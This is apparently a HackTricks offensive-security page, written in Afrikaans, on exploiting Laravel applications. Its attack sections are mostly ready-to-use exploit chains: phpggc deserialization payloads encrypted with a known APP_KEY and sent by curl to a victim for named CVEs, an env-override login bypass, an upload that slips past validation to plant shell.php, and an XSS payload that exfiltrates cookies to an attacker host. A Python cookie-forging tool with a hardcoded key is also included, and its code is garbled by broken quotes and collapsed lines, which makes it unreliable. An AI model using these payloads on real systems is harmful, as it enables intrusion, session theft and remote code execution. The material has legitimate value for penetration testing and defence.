Laravel

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Laravel SQLInjection

Lees meer hieroor: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Encryption internals (Laravel >=5.6)

Laravel gebruik AES-256-CBC (of GCM) met HMAC-integriteit onder die kap (Illuminate\Encryption\Encrypter). Die rou ciphertext wat uiteindelik na die kliënt gestuur word is Base64 van ’n JSON-object soos:

{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) sal standaard die onversleutelde teks met serialize() serialiseer, terwyl decrypt($payload, $unserialize=true) die ontsiferde waarde outomaties deur unserialize() omskep. Daarom kan enige aanvaller wat die 32-byte geheime APP_KEY ken, ’n geënkripteerde PHP-geserialiseerde objek opstel en RCE verkry via magiese metodes (__wakeup, __destruct, …).

Minimale PoC (raamwerk ≥9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Injekteer die geproduseerde string in enige kwesbare decrypt() sink (route param, cookie, session, …).


laravel-crypto-killer 🧨

laravel-crypto-killer automatiseer die hele proses en voeg ’n handige bruteforce-modus by:

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Die skrip ondersteun deursigtig beide CBC- en GCM-payloads en genereer die HMAC/tag-veld weer.


Werklike kwesbare patrone

ProjekKwetsbare sinkGadget chain
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN cookie wanneer Passport::withCookieSerialization() geaktiveer isLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session cookieLaravel/RCE15

Die uitbuitingswerkvloei is altyd:

  1. Verkry of brute-force die 32-byte APP_KEY.
  2. Bou ’n gadget chain met PHPGGC (bv. Laravel/RCE13, Laravel/RCE9 of Laravel/RCE15).
  3. Enkripteer die geserialiseerde gadget met laravel_crypto_killer.py en die herstelde APP_KEY.
  4. Lewer die ciphertext aan die kwesbare decrypt() sink (route parameter, cookie, session …) om RCE te ontlok.

Hieronder is bondige eenreël-voorbeelde wat die volledige aanvalspad vir elke bogenoemde werklike CVE demonstreer:

# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Omdat elke vars Laravel-respons ten minste 1 encrypted cookie instel (XSRF-TOKEN en gewoonlik laravel_session), public internet scanners (Shodan, Censys, …) leak millions of ciphertexts wat offline aangeval kan word.

Belangrike bevindinge van die navorsing gepubliseer deur Synacktiv (2024–2025):

  • Datastel July 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
  • Datastel May 2025 » 625 k tokens, 3.56 % keys cracked
  • 1 000 bedieners nog steeds kwesbaar vir legacy CVE-2018-15133 omdat tokens direk geserialiseerde data bevat.

  • Groot hergebruik van sleutels – die Top-10 APP_KEYs is hardgekodeerde standaarde wat met kommersiële Laravel-templates verskaf word (UltimatePOS, Invoice Ninja, XPanel, …).

Die private Go-tool nounours druk AES-CBC/GCM bruteforce-deurset tot ~1.5 miljard probeerslae/s, en verminder die volledige datastel-kraking tot <2 minute.

CVE-2024-52301 – HTTP argv/env override → auth bypass

Wanneer PHP se register_argc_argv=On (tipies op baie distros), openbaar PHP ’n argv-array vir HTTP-versoeke wat uit die query string afgelei is. Onlangse Laravel-weergawes het hierdie “CLI-like” args ontleed en --env=<value> by runtime geag. Dit maak dit moontlik om die framework-omgewing vir die huidige HTTP-versoek om te skakel net deur dit aan enige URL by te voeg:

  • Vinnige kontrole:

  • Besoek https://target/?--env=local of enige string en kyk vir environment-afhanklike veranderinge (debug banners, footers, verbose errors). As die string gereflekteer word, werk die override.

  • Impact voorbeeld (business logic wat ’n spesiale env vertrou):

  • As die app takke bevat soos if (app()->environment('preprod')) { /* bypass auth */ }, kan jy authentiseer sonder geldige creds deur die login POST te stuur na:

  • POST /login?--env=preprod

  • Aantekeninge:

  • Werk per-versoek, geen persistentie nie.

  • Vereis register_argc_argv=On en ’n kwesbare Laravel-weergawes wat argv vir HTTP lees.

  • Nuttige primitive om meer verbose errors in “debug” envs te openbaar of om environment-gated code paths te trigger.

  • Mitigasies:

  • Deaktiveer register_argc_argv vir PHP-FPM/Apache.

  • Opgradeer Laravel om argv op HTTP-versoeke te ignoreer en verwyder enige vertrouensveronderstellings wat aan app()->environment() in produksieroutes gekoppel is.

Minimal exploitation flow (Burp):

POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

CVE-2025-27515 – Wildcard lêervaliderings-omseiling (files.*)

Laravel 10.0–10.48.28, 11.0.0–11.44.0 en 12.0.0–12.1.0 laat gemanipuleerde multipart versoeke toe om enige reël wat aan files.* / images.* gekoppel is, heeltemal te omseil. Die parser wat wildcard-sleutels uitbrei kan deur attacker-controlled placeholders verwar word (bv. deur __asterisk__ segments voor te vul), sodat die framework UploadedFile-objekte sal hydrate sonder om ooit image, mimes, dimensions, max, ens. uit te voer. Sodra ’n kwaadwillige blob in Storage::putFile* beland, kan jy pivot na enige van die file-upload primitives wat reeds in HackTricks gelys is (web shells, log poisoning, signed job deserialization, …).

Opsporing van die patroon

  • Staties: rg -n "files\\.\*" -g"*.php" app/ of ondersoek FormRequest klasse vir rules() wat arrays teruggee wat files.* bevat.
  • Dinamies: hook Illuminate\Validation\Validator::validate() via Xdebug of Laravel Telescope in pre-produksie om elke versoek wat die kwesbare reël tref te log.
  • Middleware/route hersiening: endpoints wat meerdere lêers saampak (avatar importers, document portals, drag-n-drop components) neig om files.* te vertrou.

Praktiese uitbuiting-werkstroom

  1. Vang ’n geldige oplaai op en speel dit terug in Burp Repeater.
  2. Dupliceer dieselfde deel maar verander die veldnaam sodat dit reeds placeholder-tokens insluit (bv. files[0][__asterisk__payload]) of nest nog ’n array (files[0][alt][0]). Op kwesbare builds word daardie tweede deel nooit gevalideer nie maar dit word steeds ’n UploadedFile-inskrywing.
  3. Wys die vervalste lêer na ’n PHP payload (shell.php, .phar, polyglot) en dwing die toepassing om dit te stoor op ’n web-toeganklike disk (gewoonlik public/ sodra php artisan storage:link aangeskakel is).
curl -sk https://target/upload \
-F 'files[0]=@ok.png;type=image/png' \
-F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
-F 'description=lorem'

Hou aan om sleutelnommers te fuzz (files.__dot__0, files[0][0], files[0][uuid] …) totdat jy een vind wat die validator omseil maar steeds na skyf geskryf word; gepatchte weergawes verwerp hierdie vervaardigde attribuutname onmiddellik.


Ekosisteem-pakket vulns wat die moeite werd is om te ketting (2025)

CVE-2025-47275 – Auth0-PHP CookieStore tag brute-force (affects auth0/laravel-auth0)

As die projek Auth0-login met die standaard CookieStore-backend gebruik en auth0/auth0-php < 8.14.0, is die GCM-tag op die auth0 sessie-cookie kort genoeg om offline te brute-force. Vang ’n cookie, verander die JSON-payload (bv. stel "sub":"auth0|admin" en app_metadata.roles), brute-force die tag, en speel dit weer om ’n geldige Laravel guard-sessie te kry. Snelkontroles: composer.lock wys auth0/auth0-php <8.14.0 en .env het AUTH0_SESSION_STORAGE=cookie.

CVE-2025-48490 – lomkit/laravel-rest-api validation override

Die lomkit/laravel-rest-api pakket voor 2.13.0 merge per-aksie reëls verkeerdelik: later definisies oorheers vroeëre vir dieselfde attribuut, wat vervaardigde velde toelaat om validasie te omseil (bv. overskryf filter reëls tydens ’n update-aksie), wat lei tot mass assignment of ongevalideerde SQL-agtige filters. Praktiese kontroles:

  • composer.lock noem lomkit/laravel-rest-api <2.13.0.
  • /_rest/users?filters[0][column]=password&filters[0][operator]== word aanvaar in plaas van verwerp, wat wys dat filter-validasie omseil is.

Laravel wenke

Debugging-modus

As Laravel in debugging-modus is sal jy toegang hê tot die kode en gevoelige data.
Byvoorbeeld http://127.0.0.1:8000/profiles:

Dit is gewoonlik nodig om ander Laravel RCE CVEs te exploiteer.

CVE-2024-13918 / CVE-2024-13919 – reflected XSS in Whoops debug pages

  • Geaffekteer: Laravel 11.9.0–11.35.1 met APP_DEBUG=true (hetsy globaal of gedwing deur foutief gekonfigureerde env overrides soos CVE-2024-52301).
  • Werking: elke ongevangde uitsondering wat deur Whoops gerender word echoë dele van die versoek/route sonder HTML-kodering, so om <img src> / <script> in ’n route of versoekparameter in te spuit lei tot stored-on-response XSS voor verifikasie.
  • Impak: steel XSRF-TOKEN, leak stack traces met geheime, open ’n browser-gebaseerde pivot om _ignition/execute-solution in slagoffer-sessies te tref, of ketting met passwordless dashboards wat op cookies staatmaak.

Minimale PoC:

// blade/web.php (attacker-controlled param reflected)
Route::get('/boom/{id}', function ($id) {
abort(500);
});
curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E"

Selfs as debug mode gewoonlik afgeskakel is, kan die afdwing van ’n fout via background jobs of queue workers en die ondersoek van die _ignition/health-check endpoint dikwels staging hosts openbaar wat nog hierdie ketting blootstel.

Fingerprinting & blootgestelde dev endpoints

  • /_ignition/health-check → Ignition teenwoordig (debug tool gebruik deur CVE-2021-3129). As dit unauthenticated bereikbaar is, kan die app in debug wees of verkeerd gekonfigureer.
  • /_debugbar → Laravel Debugbar assets; dui dikwels op debug mode.
  • /telescope → Laravel Telescope (dev monitor). As dit publiek is, verwag uitgebreide inligtingsonthulling en moontlike aksies.
  • /horizon → Queue dashboard; weergawe-onthulling en soms CSRF-beskermde aksies.
  • Headers soos X-Powered-By, cookies XSRF-TOKEN en laravel_session, en Blade error pages help ook met fingerprint.
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel stoor die APP wat dit gebruik om die cookies en ander credentials te enkripteer binne ’n lêer genaamd .env wat bereik kan word deur ’n path traversal onder: /../.env

Laravel sal hierdie inligting ook op die debug page wys (wat verskyn wanneer Laravel ’n fout vind en dit geaktiveer is).

Deur die geheime APP_KEY van Laravel te gebruik kan jy cookies ontsleutel en weer enkripteer:

Hulpmiddel om cookies te ontsleutel/enkripteer (Python) ```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value)

def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value)

def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic[‘mac’] value = bytes(dic[‘value’], ‘utf-8’) iv = bytes(dic[‘iv’], ‘utf-8’) if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return ‘’

def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, ‘utf-8’) value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {‘iv’: iv.decode(), ‘value’: value.decode(), ‘mac’: mac} return base64.b64encode(bytes(json.dumps(dic), ‘utf-8’))

app_key =‘HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=’ key = base64.b64decode(app_key) decrypt(‘eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9’) #b’{“data”:“a:6:{s:6:"_token";s:40:"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV";s:8:"username";s:8:"guestc32";s:5:"order";s:2:"id";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e’ encrypt(b’{“data”:“a:6:{s:6:"_token";s:40:"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw";s:8:"username";s:8:"guest60e";s:5:"order";s:8:"lolololo";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605141157}’)

</details>

### Laravel Deserialization RCE

Kwetsbare weergawes: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))

Hier kan jy inligting oor die deserialization kwetsbaarheid vind: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)

Jy kan dit toets en uitbuit met behulp van [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Of jy kan dit ook uitbuit met metasploit: `use unix/http/laravel_token_unserialize_exec`

### CVE-2021-3129

Nog 'deserialization': [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)



## References
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
* [GHSA-78fx-h6xr-vch4 – Laravel wildcard file validation bypass (CVE-2025-27515)](https://github.com/laravel/framework/security/advisories/GHSA-78fx-h6xr-vch4)
* [SBA Research – CVE-2024-13919 reflected XSS in debug-mode error page](http://www.openwall.com/lists/oss-security/2025/03/10/4)
* [CVE-2025-47275 – Auth0-PHP CookieStore tag brute-force (laravel-auth0)](https://www.wiz.io/vulnerability-database/cve/cve-2025-47275)
* [CVE-2025-48490 – lomkit/laravel-rest-api validation override](https://advisories.gitlab.com/pkg/composer/lomkit/laravel-rest-api/CVE-2025-48490/)


> [!TIP]
> Leer en oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer en oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Leer en oefen Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Ondersteun HackTricks</summary>
>
> - Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>